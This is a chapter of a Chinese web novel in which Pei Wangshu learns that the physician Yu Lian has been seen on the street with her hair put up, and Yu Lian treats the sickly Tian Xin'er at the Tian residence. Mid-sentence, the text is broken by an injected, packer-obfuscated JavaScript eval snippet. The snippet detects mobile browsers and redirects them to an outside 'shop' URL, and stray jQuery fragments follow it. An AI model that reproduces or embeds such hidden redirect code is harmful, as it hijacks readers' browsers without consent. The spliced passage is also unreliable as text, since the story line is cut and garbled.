55. 生辰宴(2)

作品:《小观音被剜心后

    “哥!”


    胡昂刚跳进镇抚司,就一路从门口喊到裴望舒的书房里。


    裴望舒眼皮直跳,随手拿起一本书砸到刚进门的人身上,没好气地道:“大喊大叫干什么?我还没死,你就急着给我喊魂了?”


    胡昂捡起地上的书,连带着手上东西都放下了才说:“哪是啊,我是要告诉你一个消息!你猜我刚出去看到谁了?”


    “看到谁了?看到边旭了?”


    裴望舒边说边走向买回来的花样子和绣花线。


    “哥!你明知道我最怕边指挥使了,你怎么还能取笑我!”


    胡昂颇有怨言地看裴望舒,后者云淡风轻道:“我管你的,你要没什么事就滚出去,我可没空陪你玩儿这种猜人的游戏。”


    胡昂眼珠一转,唉声叹气道:“那好吧,既然这个游戏不能让你感兴趣,我还是走吧。毕竟余大夫也只是一个普通人,想必你也不感兴趣。”


    他作势要转身离开,裴望舒在身后喊:“等一下,你刚说的我好像又有点儿兴趣了……”


    胡昂努力抿住嘴唇,拼命压下上翘的嘴角,转过身道:“哥,你对什么感兴趣啊?我怎么突然听不懂了呢?”


    “你再贱。”


    胡昂赶紧笑嘻嘻道:“我说,我说还不行吗。”


    他一屁股坐到裴望舒对面,道:“我刚才回来的时候,在街上看到余大夫往田府去了,说是给田家小姐看诊。可田府不是一直找的医官院的太医吗,怎么突然想着换人啊?”


    “田府?”裴望舒摩挲着指尖,没想起余怜和它的之间有什么关联,道:“没准儿是因为余大夫医术高,机缘巧合之下就认识了。”


    “对了。”裴望舒看向胡昂,手指不自觉的搅乱绣花线,道:“你今日看打余怜,她……可有哪儿不一样?”


    “不一样?”胡昂偏着头细细回想。


    许是他想的有点儿久,裴望舒道:“比如外表啊,或者衣着,发型什么的。”


    “对啊!我想起来了!”胡昂激动地拍自己的腿,道:“还好你提醒我,余大夫今日确实不一样,她把头发梳起来了!我今天走在街上,差点儿没认出来。”


    “是嘛,变化这么大?”裴望舒端起茶杯喝水。


    胡昂亮着眼睛点头,又摇头,纠结道:“变化说大也不大,只不过突然见到,有点儿没反应过来罢了。”


    裴望舒放下茶杯,又问:“那……好看吗?”


    “当然好看了!”胡昂再次激动地拍腿,“你是没看到,余大夫今天走在街上,好多人回头看呢。要我说她就应该把头发梳起来,这样整张脸都能露出来了。”


    胡昂还在这儿幻想,没注意旁边的人已经变了神色。


    裴望舒没料到,仅仅是给余怜梳起头发就能引发这般轰动,尽管胡昂的话里有夸大的成分,但也不可置否,余怜确实会有这种能力。


    毕竟之前仅靠“仙女姐姐”四个字,就能让她传遍整个上京,保不齐这次又会有许多人找余怜看诊。


    裴望舒思及此,越发觉得自己好像干了件不是很聪明的事。如果真的有更多人去找余怜,先不说把人累着了,他们能相处的时间不是更少了?


    “哥?哥?”胡昂挥着手在裴望舒眼前晃,终于把人给晃醒。


    “怎么了?叫我干什么?”


    胡昂道:“我看你刚才魂不守舍的,想问问你怎么了。你没事吧?”


    裴望舒起身道:“没事。我要出去一趟,你留在镇抚司看着。”


    “你要去哪儿啊?”胡昂站起来,追着问。


    “找王尚书——”


    声音从院子里传来。


    “我还以为你要去找余大夫呢。”胡昂嘀咕着转身。


    不过动作蓦地一顿。


    他看向桌子上摆放的布料,花样子和绣花线,再和脑海中,余怜头上的绢花对上。一瞬间,大脑像是被雷劈了一样。


    胡昂猛地睁大双眼,激动万分:“我说怎么突然坐起女红了,原来是给余大夫啊!”


    他又猛地双手捂住自己的嘴,想紧紧压住自己发现的这个惊天大秘密。


    ——


    田府,田小姐闺房。


    田心儿躺在床榻上,余怜站在床边为她施针,田夫人站在身后殷切地看着。


    “你真的能治好心儿吗?”田夫人仍旧不死心地问。


    余怜平静道:“夫人尽管相信就是了,先前我也治过这样的,只不过她们有些是生产后得的,小姐的虽然有些棘手,但并不是没有办法。”


    田夫人道:“心儿和你口中的那些可不一样,她可是我和老爷的掌上明珠,她们怎么能比。”


    田心儿听着田夫人的一番话,只觉得脸上燥得厉害。


    她从没觉得自己和普通人又什么不一样,但因为她体弱多病,田夫人关切的紧,总是事事小心。但因为紧张过头,田夫人现在已经变了一幅性子,总会让人觉得是在刁难。


    田心儿不想让余怜误会,也不想让余怜埋冤田夫人,更不想让田夫人再得罪人了。


    于是她稍稍支起头,瓮声说:“余大夫,你不要错怪我娘,她就是嘴上不饶人,其实人还是很好的。”


    她又偏过头去叫田夫人:“娘,你也不要这样说,我们都是普通人,哪儿有什么不一样的,你再说我可就要生气了!”


    田夫人爱女心切,这会儿听到田心儿的话,哪儿还顾得上别的,赶紧轻言细语道:“是娘的不是,多亏心儿告诉娘,娘以后再也不说了。”


    她走上前想按住田心儿的头,让她原放到枕头上,又害怕自己一动,就把银针碰到了,让田心儿受痛。


    于是道:“你快些躺下来吧,要是不小心碰到哪儿可怎么办。”


    田心儿嘴上说着:“娘,你也太小心了,还有余大夫在这儿呢,你别紧张。”动作还是诚实地依照田夫人的话。


    田夫人怜爱的看她,再次退到后面。


    安静了没一会儿,又问:“余大夫,你晓得心儿有这种毛病,是什么时候瞧出来的?不会……不会就是那晚摸出来的吧?”


    这个问题困扰她太久了,若真是余怜自个儿瞧出来的,她也不说什么,只是为心儿的痊愈再添一份保障。若是余怜从别处知晓的,那她就要好好查查源头,看看究竟是从谁,从何处流出田心儿的消息。


    余怜收拾着针灸包,道:“是那晚我摸出来的。”


    虽然当时情况危急,田心儿的脉象也很虚浮,但她也从中探得一丝不同寻常。余怜其实并不确定田心儿一定是胞宫出了问题,她来找田夫人也只是诈一诈,但没想到真被她说中了。


    田夫人看着她平静的神色,只好将心中的疑虑打散。


    田心儿偏过头道:“你真厉害,当时那么混乱,你竟然一摸就摸出来了,你的医术一定学了好久吧!”


    余怜怔愣了一下,摇头道:“还好,只不过师傅教得好。”


    “那你师傅也好厉害啊!”


    厉害吗?


    余怜眼眸闪了闪,这样问自己。


    她想。


    一定是特别厉害。


    不仅能教会她医术,还能把毒做得好,有时候善心大发,甚至会救人。花费最少的时间,用最少的银钱,被救的人一个个感恩戴德。可如娘救人只会看心情,心情不好,管你给多少钱都没用。


    她总是这样我行我素,像是没什么能困住她一样……


    余怜垂下眸子,不晓得为什么自己突然想如娘了。明明那个女人总是疯疯癫癫的,除了给她灌毒药,没说过几句好话,可为什么突然就想她了呢?


    余怜不得而知,只是垂下了肩膀。


    房间里青烟袅袅,一炉香很快烧尽,田心儿身上的银针也被取下。


    她一边穿上衣服,一边欣喜道:“不知道是不是我的心理作用,我真感觉身上舒服很多!”


    她又摸摸自己的肚子,说:“而且我竟然也感觉到饿了,现在特别想吃东西!”


    田夫人一听田心儿想吃东西了,喉咙顿时哽咽住,她一把抱住田心儿,道:“乖女儿,你可算想吃东西了,你都不知道这些年娘都急成什么样了。”


    她赶紧招呼丫鬟,喊着:“遇敏!遇敏!快去给心儿准备吃的,她想吃东西了!”


    门卫的遇敏一听也喜上心头,赶忙回到:“好的夫人,我听到了,这就去准备!”


    余怜眼看人要跑走,赶紧喊:“等一下!我还没有告诉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316312|198203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你哪些她能吃呢!”


    田夫人懊恼道:“哎呀,你说我这记性,我居然把最重要的事忘了!”


    田心儿靠在田夫人怀里,柔声道:“没事的娘,我知道你是太为我开心了,现在把人喊回来也不迟,反正我也没有特别饿。”


    “好,好,好,就你嘴甜。”田夫人轻抚着田心儿的脸,又把遇敏叫进屋里。


    余怜坐在外间的桌子边,在往纸上写着药方的同时说着医嘱。


    遇敏道:“余大夫,要不你把医嘱也写一下吧,这样我好誊抄下来,给府上的下人都发一份,让他们一起盯着,免得出了差错。”


    余怜思索了一下,道:“好的。但要等我把药方写完,到时候这个药一日一副,煎两次就可以了。”


    遇敏点点头,想到余怜低头写字看不到,又出声回了句“好”。


    药方写的快,余怜把它放到一边晾干黑磨,又取出一张纸写医嘱。


    “你们好像都很喜欢田小姐。”余怜蓦然出声,语气淡淡,像是一句闲聊。


    遇敏笑着说:“她是我们小姐,我们当然喜欢了。而且小姐人很好,逢年过节都会送我们这些下人好多东西,更别说有时候我们遇到难处了,小姐也会帮我们,我们都说小姐就是在世观音呢。”


    “遇敏,你又这样!再当着别人的面这么说我,我可要生气了。”


    田心儿话是这样说,但语气里没有丝毫生气的意味,反倒像撒娇。


    遇敏捂嘴一笑,赶紧哄道:“听小姐的,是遇敏多嘴了,以后定不会再多嘴多舌了。”


    “哼,这还差不多。”内间又传出声音。


    几句话的功夫,余怜手上这一张也写完了。


    漂亮的小楷跃然纸上,又带着写字人独有的小习惯,看起来倒没有特别方正严肃,竟有些委婉。


    委婉?


    遇敏被自己的形容整笑,搞不懂自己怎么会想出这么个词。


    不过……


    她抬头看向收拾东西的余怜,问:“余大夫可是南方人?”


    余怜微微一顿后继续收拾,平静回复道:“不是。”


    “可你很像南方人啊,你身量也不高,说话声音也不像我们北方这般豪爽。”遇敏戳着自己下巴细细大量,“分明不管怎么看,都很像。”


    恰巧田夫人和田心儿也从内间出来,遇敏赶紧说道:“夫人,你说是吧,余大夫真的像南方人。”


    田夫人也给出同样的回答。


    田心儿问:“余大夫,或许你的爹娘有一个是南方人呢?”


    余怜抿抿唇,好半天才道出一句:“我是个孤儿,不知道自己的爹娘是谁,也不知道自己从哪儿来。”


    一语毕,屋子里的几人都没在发声,静地像是没人。


    余怜看了眼田夫人,道:“对不起,没什么事我就先走了,还有病人在等我。”


    田心儿看着余怜离去的背影,懊悔道:“哎呀,你说我们怎么就这么没脑子,问出的问题转往人家痛处上戳。”


    遇敏赶紧答:“是奴婢的不是,要不是奴婢多嘴,也不会这样。”


    “你啊,你啊……”田夫人指着遇敏摇头,恨铁不成钢,“我说你平时聪明,就坏在一张嘴上,你少说两句不行?要是她一下为这话怄气了,对心儿的病不上心了可怎么办。”


    遇敏听到这话,顿时大惊失色,连忙问:“不会吧?若真这样的话,奴婢真的负荆请罪都不行了。”


    “当然不会了。”田心儿接过话头,“余大夫人很好的,她才不会干这样的事,你们就是以小人之心,度君子之腹。”


    “你才认识她多久啊,就这么肯定人家不会了?”


    “虽然认识不久,但我很喜欢她,而且卧佛寺那晚,要不是她我早就出事了——”


    田夫人听不得田心儿说这些,赶紧捂住她的嘴,道:“快呸,呸,呸,你不晓得要避谶啊,真是要吓死我了。”


    田心儿也晓得自己说错话了,讨好地笑了笑,撒娇道:“好了娘,是我的错,我不该这么说。可我真的觉得余大夫人很好啊,你也不要再说她不是了,好不好。”


    她边说边晃田夫人,田夫人宠溺道:“好,好,好,依你的就是了。”